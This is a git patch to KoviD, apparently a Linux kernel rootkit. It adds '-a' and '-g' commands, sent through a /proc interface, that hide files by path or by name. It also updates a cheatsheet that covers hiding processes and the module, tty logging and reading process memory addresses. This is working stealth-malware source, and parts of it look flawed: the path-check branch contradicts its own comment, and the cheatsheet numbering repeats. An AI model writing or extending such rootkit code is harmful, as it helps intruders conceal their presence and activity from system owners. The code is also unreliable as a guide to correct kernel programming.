From ebc05c9baa02642cb91df0f7a4e847eb6aad47af Mon Sep 17 00:00:00 2001 From: JNE Date: Wed, 2 Oct 2024 11:14:25 +0100 Subject: [PATCH] Add support for hiding specific files -a: flag now support both full-path and filename-only Hiding only /tmp/file.txt echo "-a /tmp/file.txt" Hiding only file.txt in the current directory echo "-a file.txt" Hiding all instances of file txt (globally) echo "-g file.txt" --- docs/cheatsheet-proc-interface.txt | 26 ++++++++++----- src/kovid.c | 53 ++++++++++++++++-------------- 2 files changed, 46 insertions(+), 33 deletions(-) diff --git a/docs/cheatsheet-proc-interface.txt b/docs/cheatsheet-proc-interface.txt index 8160e76..20a92f5 100644 --- a/docs/cheatsheet-proc-interface.txt +++ b/docs/cheatsheet-proc-interface.txt @@ -33,30 +33,38 @@ $ echo "-s" >/proc/test $ dmesg -#11 Hide README.txt by inode number from current directory - $ echo "-a AAA `stat -c %i README.txt`" >/proc/test +#11 Hide README.txt + # At current directory only + $ echo "-a README.txt" >/proc/test + # At full-path + $ echo "-a /home/files/README.txt" >/proc/test -#12 Hide ALL files named README.txt - this bypass #11 +#11 Hide README.txt globally - hide all instances of README.txt + # bypass #10 and #11 + $ echo "-g README.txt" >/proc/test + + +#13 Hide ALL files named README.txt - this bypass #11 $ echo "-a README.txt" >/proc/test -#13 Undo #12 - this bypass #11 +#14 Undo #12 - this bypass #11 $ echo "-d README.txt" >/proc/test -#14 List hidden tasks - debug mode only +#15 List hidden tasks - debug mode only $ echo "-s" >/proc/test $ dmesg -#14 List hidden files and directories - debug mode only +#16 List hidden files and directories - debug mode only $ echo "-l" >/proc/test $ dmesg -#15 Mark tty log file to be removed when KoviD is rmmod'ed +#17 Mark tty log file to be removed when KoviD is rmmod'ed $ echo "-t0" >/proc/test -#16 Undo #15 +#18 Undo #15 $ echo "-t1" >/proc/test -#17 Fetch the base address of a running process by PID number +#19 Fetch the base address of a running process by PID number $ echo "-b ">/proc/kv $ cat /proc/kv diff --git a/src/kovid.c b/src/kovid.c index e5055f2..c3f9079 100644 --- a/src/kovid.c +++ b/src/kovid.c @@ -22,6 +22,7 @@ #include #include #include +#include #include "lkm.h" #include "fs.h" @@ -476,7 +477,7 @@ static ssize_t write_cb(struct file *fptr, const char __user *user, } else { kv_hide_task_by_pid(val, 1, CHILDREN); } - /* hide kovid module */ + /* hide kovid module */ } else if(!strcmp(buf, "-h") && !op_lock) { static unsigned int msg_lock = 0; if(!msg_lock) { @@ -490,33 +491,37 @@ static ssize_t write_cb(struct file *fptr, const char __user *user, /* list hidden tasks */ } else if(!strcmp(buf, "-s")) { kv_show_saved_tasks(); - /* add name to the list of hidden files/directories - * and inode, is present. - * */ + /* hide file/directory based on inode */ } else if(!strncmp(buf, "-a", MIN(2, size))) { - int ino = 0; char *s = &buf[3]; - char *number_str; const char *tmp[] = {NULL, NULL}; - int ok = 1; - - s[strcspn(s, "\n")] = 0; - - // Find the first space in the input to separate name and number - number_str = strchr(s, ' '); - if (number_str) { - *number_str++ = '\0'; - } else { - number_str = ""; + struct kstat stat; + struct path path; + + if (!kern_path(s, LOOKUP_FOLLOW, &path)) { + if (!vfs_getattr(&path, &stat, STATX_BASIC_STATS, AT_STATX_SYNC_AS_STAT)) { + if (*s != '/') { + /** It is a full path */ + tmp[0] = s; + fs_add_name_rw(tmp, stat.ino); + } else { + /** It is filename, no problem because we have path.dentry */ + const char *f = kstrdup(path.dentry->d_name.name, GFP_KERNEL); + path_put(&path); + tmp[0] = f; + fs_add_name_rw(tmp, stat.ino); + kv_mem_free(&f); + } + } + } + /* hide file/directory globally */ + } else if(!strncmp(buf, "-g", MIN(2, size))) { + char *s = &buf[3]; + s[strcspn(s, " ")] = 0; + if (strlen(s)) { + const char *tmp[] = {s,NULL}; + fs_add_name_rw(tmp, 0); } - - *tmp = s; - if (*number_str) - ok = !kstrtoint(number_str, 10, &ino); - - if (ok) - fs_add_name_rw(tmp, ino); - /* unhide file/directory */ } else if(!strncmp(buf, "-d", MIN(2, size))) { char *s = &buf[3]; s[strcspn(s, " ")] = 0;